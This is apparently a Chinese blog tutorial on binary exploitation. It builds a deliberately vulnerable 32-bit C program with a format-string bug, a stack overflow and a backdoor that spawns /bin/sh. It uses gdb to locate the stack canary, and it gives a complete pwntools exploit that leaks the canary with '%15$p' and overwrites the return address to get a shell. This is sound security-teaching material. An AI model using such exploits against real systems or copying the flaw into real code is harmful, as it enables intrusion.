当前位置: 首页 > news >正文

PWN基础-利用格式化字符串漏洞泄露canary结合栈溢出getshell

测试源码:

#include<stdio.h>
void exploit()
{system("/bin/sh");
}
void func()
{char str[0x20];read(0, str, 0x50);printf(str);read(0, str, 0x50);
}
int main()
{func();return 0;
}

编译,开启 canary 保护,关闭 pie 保护:

gcc -no-pie -fstack-protector-all -m32 canary.c -o canary

检查确认一下:

checksec canary

gdb 动调,看一下 func 函数:

disass func

写入 canary 的位置:

0x08048540 <+18>:	mov    eax,gs:0x14
0x08048546 <+24>:	mov    DWORD PTR [ebp-0xc],eax

我们需要利用 printf 函数泄露 canary 地址,先在 printf 函数处下断点:

b *0x08048565

然后运行,期间会经过第一个 read 函数,随便输入:RRR  

查看当前栈内容:

stack 0x20

根据前面的代码,我们知道 canary 在 ebp-0xc 位置,使用 p 和 x 命令看一下:

p $ebp-0xc 
x $ebp-0xc 

p 只显示了地址,x 还显示了地址处的内容

canary 所在地址为 0xffffcffc,内容为 0xe8ac1700

我们在栈上面找一下 0xe8ac1700

距离栈顶偏移值为 15

下面我们重新运行了一下,来到输入位置,利用格式化字符串漏洞,输入:

%15$p

重新运行 canary 值会变:现在是 0x37133900

继续往下走,可以发现打印出的值就是 canary 的值

再看一下 canary 距离我们输入字符串的距离,偏移是 8 

这部分后面需要填充为垃圾数据

先写个 exp 泄露 canary:

from pwn import *
io = process('./canary')
io.sendline('%15$p') # 发送泄露 canary 的内容,也就是前面的 %15$p
canary = io.recv() #接收 canary 值
print(canary)  #打印canary

但是测试发现,输出结果多了一个换行符

使用 python 切片处理一下:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
print(canary) 

没有问题

接下来我们看一下 canary 到 main 函数的返回地址的偏移:

偏移是 3 

最后再看一下返回地址,也就是我们后门函数 exploit 的地址:

disass exploit
0x080484e6

完整 exp:

from pwn import *
io = process('./canary')
io.sendline('%15$p') 
canary = io.recv()[:10]
canary = int(canary,16)
print(canary) 
canary_offset = 8*4
ret_offset = 3*4
exp_addr = 0x080484e6
payload = b'a'*canary_offset + p32(canary) + b'a'*ret_offset + p32(exp_addr)
io.sendline(payload)
io.interactive()

相关文章:

  • 耳机,三段式, 四段式,录音,播放
  • C++修炼:list模拟实现
  • spark学习总结
  • 【Spark入门】Spark简介:分布式计算框架的演进与定位
  • 面试新收获-窗口排序函数
  • 详解最新链路追踪skywalking框架介绍、架构、环境本地部署配置、整合微服务springcloudalibaba 、日志收集、自定义链路追踪、告警等
  • Java学习手册:Java开发常用的内置工具类包
  • Python函数基础:简介,函数的定义,函数的调用和传入参数,函数的返回值
  • C语言学习之调试
  • 测试基础笔记第十三天
  • 第八部分:缓解 RAG 中的幻觉
  • 6.2 内容生成与营销:个性化内容创作与营销策略优化
  • 常见cmd命令
  • 3.1/Q1,Charls最新文章解读
  • Buffer Pool是什么,有什么作用
  • priority_queue的学习
  • 【C到Java的深度跃迁:从指针到对象,从过程到生态】第四模块·Java特性专精 —— 第十四章 集合框架:告别手写链表的苦役
  • Eigen迭代求解器类
  • 对卡尔曼滤波的理解和简单示例实现
  • 服务器虚拟化:技术解析与实践指南
  • 央行副行长:我们在研究丰富政策工具箱,将适时推出增量政策
  • 全过程人民民主研究基地揭牌,为推动我国民主政治建设贡献上海智慧
  • 体坛联播|利物浦提前4轮夺冠,安切洛蒂已向皇马更衣室告别
  • 孟泽:我们简化了历史,因此也简化了人性
  • QFII一季度现身超300家公司:持有南京银行市值最高,5家青睐立航科技
  • 从世界工厂走向全球创新中心,上海车展为何成为全球汽车行业风向标?